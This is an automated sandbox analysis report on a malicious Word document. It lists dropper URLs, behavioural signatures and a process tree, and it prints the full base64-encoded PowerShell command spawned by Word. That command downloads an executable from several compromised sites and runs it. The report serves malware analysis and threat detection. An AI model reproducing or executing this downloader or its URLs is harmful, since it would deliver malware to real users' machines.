Analysis
- max time kernel
134s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
03/05/2024, 09:37
General
- Target 1034da24a66dd3384cf74f22de99301e_JaffaCakes118.doc
- Size 158KB
- Sample240503-lln4csdf82
- SHA256 126dc4dbf1dea7cff4ae208cdedae077638f06d16607e9315d3df1446ffe3ce1
Malware Config
Extracted
-
ps1
-
exe.dropper
http://citas.nubeweb24.com/wp-admin/bd0/
-
exe.dropper
http://wallenkelley.xyz/wp-content/A1/
-
exe.dropper
http://noraiport.nubeweb24.com/wp-admin/eh5/
-
exe.dropper
https://citybasket.in/sitemap/quZ/
-
exe.dropper
http://tingme.vn/wp-content/plugins/X/
-
exe.dropper
https://fairplay.company/wp-includes/H/
-
exe.dropper
https://casa.nubeweb24.com/wp-admin/hiR/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1034da24a66dd3384cf74f22de99301e_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABWAG0AXwBkAGEAbwByAD0AKAAoACcASwBhACcAKwAnAGIAegAnACkAKwAoACcAZwBlACcAKwAnAGUAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAUwBlAHIAUAByAE8ARgBpAEwARQBcAG8AbQBwADcAZQBpAGEAXABQADUANABDAEcAVwA0AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAYwB0AG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAHUAUgBpAGAAVAB5AGAAcAByAGAAbwBUAG8AYwBPAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxADIAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACgAJwBsAHMAMQAnACsAJwAxACcAKQArACgAJwAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEMAaQB4AHgAOAAyADcAIAA9ACAAKAAoACcAWQAnACsAJwBmAGkAZwB3ACcAKQArACcAXwAnACkAOwAkAFYAdgB4AF8AagBsAGcAPQAoACgAJwBNACcAKwAnAHEAJwArACcAZAA0AHYAMwAnACkAKwAnADMAJwApADsAJABCAHYAOAB2AGQAZABpAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHkAJwArACgAJwBLAGwAJwArACcATwBtAHAANwBlACcAKwAnAGkAYQB5AEsAbAAnACkAKwAoACcAUAA1ACcAKwAnADQAJwApACsAJwBjAGcAJwArACcAdwAnACsAKAAnADQAJwArACcAeQBLAGwAJwApACkALQBDAHIAZQBwAGwAYQBDAGUAIAAgACgAJwB5ACcAKwAnAEsAbAAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQAQwBpAHgAeAA4ADIANwArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQARQA3ADQAcgBkAGgAbAA9ACgAJwBMADEAJwArACgAJwB5ACcAKwAnAGUAYQAnACkAKwAnAG8AdwAnACkAOwAkAE8AegBoAGMAegA5ADAAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAEIAQwBsAGkARQBOAHQAOwAkAFMAeABtAGYAOAA1ADMAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8ALwBjAGkAJwArACcAdAAnACsAJwBhAHMALgBuACcAKQArACgAJwB1ACcAKwAnAGIAZQB3ACcAKQArACgAJwBlAGIAMgAnACsAJwA0ACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AdwBwACcAKQArACcALQBhACcAKwAnAGQAbQAnACsAKAAnAGkAJwArACcAbgAvACcAKQArACgAJwBiAGQAJwArACcAMAAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AdwAnACkAKwAoACcAYQBsAGwAJwArACcAZQAnACkAKwAoACcAbgBrACcAKwAnAGUAJwApACsAJwBsAGwAJwArACgAJwBlAHkALgAnACsAJwB4ACcAKQArACgAJwB5ACcAKwAnAHoALwAnACkAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGMAJwArACcAbwBuAHQAZQAnACkAKwAnAG4AdAAnACsAKAAnAC8AJwArACcAQQAxAC8AKgBoAHQAdABwADoALwAnACsAJwAvAG4AJwArACcAbwByAGEAJwArACcAaQAnACsAJwBwACcAKQArACcAbwByACcAKwAnAHQAJwArACgAJwAuAG4AdQBiAGUAJwArACcAdwAnACsAJwBlAGIAMgA0AC4AJwArACcAYwAnACkAKwAoACcAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AYQBkAG0AJwArACcAaQAnACsAJwBuAC8AZQBoADUALwAqACcAKwAnAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8ALwBjAGkAJwApACsAKAAnAHQAeQAnACsAJwBiAGEAcwBrAGUAJwApACsAKAAnAHQAJwArACcALgBpACcAKQArACcAbgAvACcAKwAoACcAcwAnACsAJwBpACcAKwAnAHQAZQBtAGEAcAAnACkAKwAoACcALwBxAHUAWgAnACsAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAvAHQAaQAnACsAJwBuAGcAbQAnACsAJwBlAC4AJwApACsAKAAnAHYAbgAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQAnACsAJwBjAG8AJwApACsAKAAnAG4AdABlAG4AdAAvAHAAJwArACcAbAAnACkAKwAoACcAdQBnAGkAJwArACcAbgBzAC8AJwApACsAKAAnAFgALwAnACsAJwAqAGgAdAB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AZgAnACsAJwBhAGkAcgBwACcAKQArACgAJwBsAGEAeQAnACsAJwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwBwACcAKwAnAGEAbgB5ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKQArACgAJwBpAG4AJwArACcAYwBsAHUAZABlACcAKQArACgAJwBzAC8AJwArACcASAAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAcwA6ACcAKwAnAC8AJwArACcALwBjAGEAJwApACsAKAAnAHMAYQAuAG4AdQBiAGUAdwBlAGIAMgAnACsAJwA0AC4AYwBvAG0AJwArACcALwAnACsAJwB3ACcAKwAnAHAALQBhAGQAJwArACcAbQBpAG4ALwBoACcAKQArACcAaQBSACcAKwAnAC8AJwApAC4AIgBTAFAATABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFYAdgBnAHMAbwBwAGgAPQAoACcARwAnACsAKAAnADcAdQBqAGMAJwArACcAbAAnACkAKwAnAHUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVwA0ADYANAB0AGEANgAgAGkAbgAgACQAUwB4AG0AZgA4ADUAMwApAHsAdAByAHkAewAkAE8AegBoAGMAegA5ADAALgAiAGQATwB3AGAATgBMAGAATwBBAGQARgBgAGkAbABlACIAKAAkAFcANAA2ADQAdABhADYALAAgACQAQgB2ADgAdgBkAGQAaQApADsAJABFAHIAYgBsADQAcwB5AD0AKAAoACcARwB1ACcAKwAnAHQAJwApACsAKAAnAHUAeQAnACsAJwBiAGUAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAQgB2ADgAdgBkAGQAaQApAC4AIgBsAEUATgBHAGAAVABoACIAIAAtAGcAZQAgADIAMQA4ADgAMgApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABCAHYAOAB2AGQAZABpACkAOwAkAEQAMABfAHYAawBrADMAPQAoACgAJwBOAGoAaAAnACsAJwB4ACcAKQArACgAJwBjAGEAJwArACcAZgAnACkAKQA7AGIAcgBlAGEAawA7ACQASABfAHQAbgBsAGYAbQA9ACgAKAAnAE4AJwArACcAagA1ADcAJwApACsAKAAnAHkAJwArACcAeABoACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAHAAOQBuAHUAMwA3AD0AKAAnAEgAJwArACgAJwB4ACcAKwAnAGsAagAnACkAKwAoACcAcQBfACcAKwAnAGcAJwApACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
iso690.xsl
__PSScriptPolicyTest_djrd3ifj.vv0.ps1
memory/1416-68-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/1416-567-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/1416-564-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/1416-74-0x000002D5CDB40000-0x000002D5CDB62000-memory.dmp
memory/4384-14-0x00007FFF198D0000-0x00007FFF198E0000-memory.dmp
memory/4384-3-0x00007FFF1C230000-0x00007FFF1C240000-memory.dmp
memory/4384-8-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-9-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-11-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-10-0x00007FFF198D0000-0x00007FFF198E0000-memory.dmp
memory/4384-13-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-12-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-2-0x00007FFF1C230000-0x00007FFF1C240000-memory.dmp
memory/4384-31-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-32-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-6-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-5-0x00007FFF1C230000-0x00007FFF1C240000-memory.dmp
memory/4384-7-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-4-0x00007FFF5C24D000-0x00007FFF5C24E000-memory.dmp
memory/4384-561-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-562-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-563-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp
memory/4384-0-0x00007FFF1C230000-0x00007FFF1C240000-memory.dmp
memory/4384-1-0x00007FFF1C230000-0x00007FFF1C240000-memory.dmp
memory/4384-589-0x00007FFF1C230000-0x00007FFF1C240000-memory.dmp
memory/4384-590-0x00007FFF1C230000-0x00007FFF1C240000-memory.dmp
memory/4384-588-0x00007FFF1C230000-0x00007FFF1C240000-memory.dmp
memory/4384-591-0x00007FFF1C230000-0x00007FFF1C240000-memory.dmp
memory/4384-592-0x00007FFF5C1B0000-0x00007FFF5C3A5000-memory.dmp